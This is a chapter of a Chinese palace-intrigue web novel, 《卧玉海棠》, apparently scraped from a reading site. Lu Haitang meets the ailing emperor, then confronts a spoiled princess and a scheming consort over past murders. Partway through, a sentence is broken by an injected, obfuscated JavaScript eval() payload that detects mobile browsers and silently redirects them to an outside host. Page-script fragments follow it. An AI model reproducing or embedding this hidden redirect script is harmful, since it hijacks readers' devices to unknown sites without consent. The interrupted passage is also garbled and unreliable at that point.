42. 流绪经风22
作品:《卧玉海棠》 两人又聊了一会,却久久未见明宗帝召见自己,倒是温瑜,主动说自己有事,便离开了。
陆海棠回到御书房前,正巧郭融说里面没人了,皇上召自己进去。
这不是她第一次踏入御书房。圣皇帝在此地忙于政务疏于吃饭时,陆海棠常常来此送些吃食。
主座上的人捂着嘴咳嗽,手中攥着一个香囊。
陆海棠跪地道:“外臣甥女参见陛下。”
明宗帝仍在咳嗽,直不起腰,面色苍白,嘴角挂着的一抹血甚是鲜艳。招招手示意陆海棠起来。
陆海棠起身,自觉地上前为明宗帝倒了杯温茶,又为他顺了顺气。
皇上渐渐缓了过来,直起身擦了擦嘴角的血,又喝下一口茶,半晌才哑声道:“等久了吧。”
“还好,陛下。”陆海棠心中很平静,面上挂着担心的神情:“是药还是药膳效果不好吗,怎会如此严重?”
明宗帝扯嘴笑道:“怎么会,是朕身子骨不行。你的药膳甚好,棠儿有心了。”
陆海棠的眉头仍是微蹙的,继续道:“这是外臣甥女应该做的。倒是陛下,勤政务业,为了朝廷如此辛苦。”
明宗帝摆摆手,道:“朕今日叫你来,是有事和你说。”
“陛下请说。”
“朕听太傅说,你看起来对什么都兴致缺缺,大概是先帝去后对你的打击太大。所以今年秋猎,你可想去?”
还真让温瑜说中了。
陆海棠心头涌上一丝温情,有些讶异地道:“太傅竟如此细心。”
“嗯。德舟虽然很严厉,但不光会教授你们学业,在他看来,你们的情绪也很重要。”
“于外臣甥女,太傅如师如父。”陆海棠的眼眸似有萤光乍现,瞬间映出点点笑意,她道:“秋猎外出一事,若是可以,外臣甥女当然想。”
明宗帝点点头:“有机会散散心,是不错的”
陆海棠道:“如此,便多谢陛下给这次机会,外臣甥女感激不尽。”
“还有啊……”明宗帝沉吟半晌,似是在斟酌如何开口,他道:“莫要如此自称,显得朕与你很生分。”
陆海棠微顿,转而一笑道:“海棠知道了。”
主座上的人满意地笑了笑,道:“秋猎那日,你跟在朕身边就好。”
陆海棠出了御书房时,已是黄昏。在殿门口遇见了个熟悉的身影。祝言安前段时间入职了通礼司,此时身着红色官服,头戴乌纱帽,随意立在那儿便显得人神采飞扬。
两人打过了招呼之后,陆海棠本想直接走,没想到祝言安先叫住了她。
“这个给你,陆小姐。”祝言安将提着的食盒递了出来,这食盒甚是眼熟,一看就是陆海棠常吃的那家烧鸡铺子家的。
他补充道:“是温瑜给的。”
陆海棠接过食盒,有些惊喜地道:“多谢了,祝公……哦不对,现在应该叫祝大人了。”
祝言安轻笑出声:“不必多谢。他没时间,听说我今日要来御前,托我买的。”
陆海棠的嘴角掀起一抹微不可查的笑容:“嗯,也多谢他了。”
正巧她很想吃烧鸡,此人倒是怪贴心的。
祝言安继续低声道:“他说你出宫不方便,若是还想吃,便来我就好。”
陆海棠了然,挑挑眉道:“他给了你多少啊。”
她的话里,自然指的是银子。
祝言安坦然一笑,诚实道:“不少。不过这小子平时也没少敲诈我,前段时间居然把我的剑柄上的宝石抠走了。”
陆海棠没忍住笑出声,评价道:“真是一只调皮的狐狸呢。”
几日后,便是李华嫦被罚跪的第七日。
陆海棠特意选择了最后的时辰,去了中正殿一趟。
一进殿,便能听见,本该静谧的佛堂内充斥着李华嫦不耐烦的声音:“还有多久啊,本公主都要累死了!”
“回殿下,还有一柱香时间。”
平日里娇生惯养的人歪歪扭扭地跪在蒲团上,面色不善地看着小和尚,继续道:“还有一柱香啊,本公主的膝盖真的痛死了。”
可她不能提前出去,毕竟这小和尚是明宗帝吩咐来看着她的,所以李华嫦只能郁闷地给他脸色看。
终于,一柱香燃尽,小和尚退了出去,只留李华嫦一人坐在蒲团上忍痛揉腿。
“见过殿下。”陆海棠面上漠然,静静地跪在一旁的蒲团上,专心地闭眼礼拜。
李华嫦心中怒火更盛,多日的愤懑郁结在心,在此刻见到陆海棠时全部爆发出来:“陆海棠,你还敢出现在本公主面前!”
“怎么不敢?”陆海棠缓缓睁开眼睛,平静地对上李华嫦饱含怒火的杏眸,微微一笑道:“于情于理,是殿下不敢出现在我面前才是。”
“我是公主,你是谁?”李华嫦怒极反笑:“本公主凭什么不敢出现在你面前?”
陆海棠心中感叹,李华嫦的眼睛生的真漂亮,只可惜,长在一朵教养坏了的牡丹花之上。
“凭什么?”她轻声反问,继续道:“尝过这么多日的苦头,殿下竟还不知道在我面前收敛锋芒。”
“呵。别以为抄了几篇佛经,就能获得父皇的宠爱了。”李华嫦想站起身来,却还是痛得很。
确实如面前的人所言,她从小到大就算如何娇纵,都会有父皇母妃的偏爱,从没受过这样的苦,这算是栽了个大跟头。
陆海棠道:“我今日前来,便是想提醒殿下,以后莫要找我的麻烦,你我便算是和平相处。若是还来没事找事,可不是罚跪这么简单了。”
李华嫦道:“我没事找事又如何,本公主生来便是万人之上,从来不需要像你这样的人一样努力。若不没事找事,人生可真是太无趣了。”
陆海棠听了她这些理论,真是觉得又好笑又好气,心头有些震惊此人竟如此理直气壮说出这样的话。
她瞬间毫不留情地回道:“若是没事找事的人生算是有趣,你的人生真的很失败呢。”
“你!”李华嫦最后憋了半天只道:“大逆不道,敢跟本公主这样说话!我要告诉父皇!”
陆海棠面不改色地道:“皇上本就觉得殿下不学无术,正好,殿下在述清前因后果时,将你的人生论给皇上讲讲,看他会作何表现。”
李华嫦算是在这吃了个哑巴亏,腿疼也不想缓了,连忙大声叫道:“来人!来人!扶本公主回宫!”
“来人,把公主扶出去。”一声不怒自威的声音从殿门口传来。
陆海棠不用回头,便知道来者是谁。
“母妃,你一定要好好教训她啊!”李华嫦被两个宫女架起来时仍不老实,怒气冲冲地站在秦华面前叙述刚刚发生的事。
半晌,中正殿内终于清净,只剩下两人。陆海棠起身行礼,面若平湖地道:“见过贵妃娘娘。”
“那日我说的没错。”秦华依旧一身华服,站定在佛堂中央,眸中闪过阴狠,微微凝眸打量着陆海棠。
陆海棠沉默不语。
秦华道:“你真是很像你母亲啊。”
陆海棠道:“母亲什么样,小女那时年纪太小,早就记不清了。让娘娘不满意的地方,皆是小女不懂事的所为,与旁人有什么关系呢。”
言下之意,便是在说,别总是拿两人之间的事,来诋毁慧德公主。
秦华却像没听见似的,自顾自地道:“你母亲过去给本宫找不痛快,你现在也给本宫找不痛快,你们到底有完没完。”
陆海棠无语凝噎。这人到底受过母亲的什么刺激啊,以至
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079388|161048||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于这么多年了,还让她念念不忘。
她冷冷地道:“娘娘说的一字一句,小女都听不懂。”
“听不懂无所谓。”
“……”真是非要讲呢……
陆海棠不想听些没用的话,只道:“娘娘不介意的话,小女继续礼拜了。”说完,便又跪在蒲团上了。
秦华确实不介意,只执着地喋喋不休讲给陆海棠听:“先皇偏向慧德,她便站在我们头上。怎么,你也想皇上偏向你,然后站在本宫头上吗!”
陆海棠微微蹙眉。
据她所知,母亲当年确实是皇祖母心中的储君人选,她不仅德才兼备,还宽厚仁德。只可惜在陆父战死之后一时想不开,成为了皇祖母心中之痛。
怎么在她嘴里,便成了站在她头上的人呢。
真是不可理喻。
她本不想理,却闻秦华越讲越激动,似是慧德一无是处,非常不公平地独独占了万千宠爱一般。
陆海棠忽然睁眼,开口道:“娘娘说说,是小女的母亲站在谁们头上?莫不是皇上和娘娘?”
秦华也没料到她会突然反问,愣了愣继续道:“对,本宫就是这个意思。”
陆海棠没有看她,仍是盯着面前的佛像,反问道:“皇上一直在念着母亲,而娘娘却在诋毁,小女究竟该信谁呢?难不成,这么多年,小女听过的美谈都是空穴来风,只有娘娘才是知道慧德公主真实性情的人?”
秦华刚开始没有反应,忽然从沉默中嗤笑一声,这下倒是让陆海棠觉得有些奇怪。
然后,她便开始大笑,笑声刺耳,毫无仪态,状若疯魔。钗环熠熠生辉,衣裳华贵无比,也掩盖不了她现在的恐怖模样。
半晌,秦华又忽然收了声,只吐出了两个字:“天真。”
陆海棠压下心中缕缕异样,只道:“斯人已逝,佛祖在看着呢,娘娘口下留德。”
秦华瞥了一眼高大威严的佛像,轻蔑地道:“那又如何?你看我怕吗?”
“也对。”
“什么意思?”
陆海棠道:“有两种人不会怕佛祖,一种是光明磊落的,一种是满手血腥的。娘娘是哪种,自己应该知道。”
秦华立刻否认道:“你的意思本宫满手血腥?无稽之谈。”
“林公公。”
那个通内司狐假虎威的公公,后来被人灭口在皇林狱中,连带着杀手也自尽了,此事便只能不了了之。
“什么?”秦华的语气中带上一丝慌乱,但很快稳住了。
陆海棠语气随性,道:“小女在说什么,娘娘心中清楚,不必要说那么明白了吧。”
秦华眸光幽深,冷然道:“有证据吗?”
“没有。”陆海棠非常诚实。她继续道:“还有皇后娘娘小产一事,也与娘娘有关吧。”
那个所谓的报复梁皇后的宫女,以她的身份,怎么可能有连试毒都试不出来的毒药。
秦华继续重复刚刚那句话:“有证据吗?”
陆海棠慢条斯理地道:“没有,这都是猜测而已。若是有,小女肯定是送娘娘个措手不及的大礼啊,怎么可能现在与娘娘面对面求证呢?”
秦华闻言扬起嘴角,眸中却丝毫没有笑意:“猜测太多,对自己可不太好。”
陆海棠似笑非笑地道:“小女只知道,不太好的另有其人。就算没有证据,现下没法得到应有的报应,可说不定什么时候,失足一瞬,所有报应如沙尘滚滚而来,压的人喘不过气。”
秦华直接甩袖离开,扔下一句:“那便走着瞧。”
殿内只剩陆海棠一人,莲灯灯火微动,她的唇上笑意加深,半晌才侧头看向秦华刚刚离开的位置,眸中似是酝酿着风暴。
陆海棠冷然道:“我们来日方长。”